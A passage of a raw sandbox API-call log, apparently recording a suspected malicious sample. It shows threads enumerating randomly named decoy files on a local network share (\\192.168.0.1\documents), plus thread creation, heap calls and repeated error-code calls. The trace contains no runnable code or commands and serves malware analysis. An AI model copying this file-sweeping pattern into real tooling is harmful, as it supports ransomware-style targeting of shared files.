ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="6614ZQjKlVVwMsRoTm.pdf", cAlternateFileName="")) returned 1 [0040.101] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf521, dwReserved0=0x0, dwReserved1=0x0, cFileName="d9y1S5e4eLHUosqR.png", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xee3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="sWz45.xls", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9841, dwReserved0=0x0, dwReserved1=0x0, cFileName="ydAClD.jpg", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLSuxvhNNdJma1.ods", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x646c, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3wsaUYVG.ppt", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="vwYDXw6oVEHN2plf7.xls", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12190, dwReserved0=0x0, dwReserved1=0x0, cFileName="D5VR0w7cu20SVOPPmTeY.pdf", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xcf0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pEa7gL.ppt", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5d64, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSGieDhFJl7c1ARWbn5.avi", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1851f, dwReserved0=0x0, dwReserved1=0x0, cFileName="R7Kb10e3K.ppt", cAlternateFileName="")) returned 1 [0040.102] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6142, dwReserved0=0x0, dwReserved1=0x0, cFileName="wM2fuYVT5vb5rvE.avi", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x53dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0O40RGXx.ods", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="RKixholu7QWBM4vIh2Qr.ots", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1446d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z0KtpLCKl6lOwI.csv", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="b2RYQsRYMuiCI5kbmBC.avi", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OU7w0ZlZCz.png", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1025d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vHFD0HXkcrOt.ppt", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="U2QSFlSKH2V.jpg", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x74a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NW3xaHb7.gif", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x82b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ybbGvlCczfIkCAzvoOo.ods", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11145, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEuRQDrOl9iFUCUZ.gif", cAlternateFileName="")) returned 1 [0040.103] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xebaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="oHbaMQLYen9icdKg.docx", cAlternateFileName="")) returned 1 [0040.104] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="8epnap.wav", cAlternateFileName="")) returned 1 [0040.104] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x67e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XhyKggx8pHn779f8mb.swf", cAlternateFileName="")) returned 1 [0040.106] FindClose (in: hFindFile=0x73d5a8 | out: hFindFile=0x73d5a8) returned 1 [0040.108] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x32bf58 | out: hHeap=0xb00000) returned 1 [0040.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0x26ef908*=0x150, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0040.614] CloseHandle (hObject=0x154) returned 1 [0040.614] CloseHandle (hObject=0x150) returned 1 [0040.614] CloseHandle (hObject=0x140) returned 1 [0040.614] CloseHandle (hObject=0x148) returned 1 [0040.614] CloseHandle (hObject=0x14c) returned 1 [0040.615] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x31bf50 | out: hHeap=0xb00000) returned 1 [0040.616] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307130 | out: hHeap=0xb00000) returned 1 [0040.616] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0040.616] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x306f90 | out: hHeap=0xb00000) returned 1 [0040.617] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0040.617] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb04fa0 | out: hHeap=0xb00000) returned 1 [0040.617] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0cc38 | out: hHeap=0xb00000) returned 1 Thread: id = 12 os_tid = 0xef8 [0037.085] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x38) returned 0x307150 [0037.085] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x18) returned 0xb057c0 [0037.085] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x158 [0037.085] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x15c [0037.085] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x160 [0037.085] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x33bf60 [0037.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xb83a08, lpParameter=0x29cfd40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164 [0037.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xb83a08, lpParameter=0x29cfd40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168 [0037.088] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x34bf68 [0037.089] FindFirstFileW (in: lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\*" (normalized: "\\\\192.168.0.1\\documents\\*"), lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0xb67be4c, ftLastAccessTime.dwHighDateTime=0x1d9300b, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7401c0 [0040.058] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa583c4d7, ftCreationTime.dwHighDateTime=0x1d828c6, ftLastAccessTime.dwLowDateTime=0x33112c8c, ftLastAccessTime.dwHighDateTime=0x1d8d311, ftLastWriteTime.dwLowDateTime=0xa583c4d7, ftLastWriteTime.dwHighDateTime=0x1d828c6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.058] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd900, dwReserved0=0x0, dwReserved1=0x0, cFileName="4fcfIBg3Ryeoeu27DM.docx", cAlternateFileName="")) returned 1 [0040.058] GetLastError () returned 0x0 [0040.059] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x214) returned 0xb0ce58 [0040.059] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0040.059] GetCurrentThreadId () returned 0xef8 [0040.059] SetLastError (dwErrCode=0x0) [0040.059] GetLastError () returned 0x0 [0040.059] SetLastError (dwErrCode=0x0) [0040.059] GetLastError () returned 0x0 [0040.059] SetLastError (dwErrCode=0x0) [0040.059] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.060] SetLastError (dwErrCode=0x0) [0040.060] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.061] SetLastError (dwErrCode=0x0) [0040.061] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.062] SetLastError (dwErrCode=0x0) [0040.062] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.063] SetLastError (dwErrCode=0x0) [0040.063] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.066] GetLastError () returned 0x0 [0040.066] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.067] SetLastError (dwErrCode=0x0) [0040.067] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 